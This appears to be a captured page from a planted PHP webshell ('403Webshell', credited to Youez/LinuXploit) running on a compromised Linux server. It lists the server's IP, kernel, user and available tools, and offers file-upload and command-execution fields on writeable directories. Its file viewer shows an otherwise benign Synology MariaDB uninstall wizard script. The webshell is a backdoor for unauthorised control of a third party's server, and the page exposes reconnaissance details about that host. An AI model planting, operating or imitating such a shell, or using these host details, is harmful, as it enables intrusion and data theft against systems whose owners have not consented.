403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/packages/MariaDB10/WIZARD_UIFILES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/packages/MariaDB10/WIZARD_UIFILES/uninstall_uifile.sh
#!/bin/bash
REMOVE_DATABASE_TITLE="Remove MariaDB databases"
PKG_DATA_DELETION_NOTICE="Package Center will uninstall MariaDB 10 from your DSM. This action will delete all related data and settings permanently.<br>To retain your data, we recommend creating a backup using <a href=\\\"https://kb.synology.com/DSM/help/HyperBackup/BackupApp_desc?version=7\\\" target=\\\"_blank\\\">Hyper Backup</a> before proceeding."
PKG_DATA_DELETION_CONFIRMED="I understand and am ready to proceed"

uninstall_page=$(/bin/cat<<EOF
{
    "step_title": "${REMOVE_DATABASE_TITLE}",
    "invalid_next_disabled_v2": true,
    "items": [{
        "type": "multiselect",
        "desc": "${PKG_DATA_DELETION_NOTICE}",
        "subitems": [{
            "desc": "${PKG_DATA_DELETION_CONFIRMED}",
            "defaultValue": false,
            "validator": {
                "fn": "{return arguments[0];}"
            }
        }]
    }]
}
EOF
)

main() {
    echo "[$uninstall_page]" > "${SYNOPKG_TEMP_LOGFILE}"
}
main


Youez - 2016 - github.com/yon3zu
LinuXploit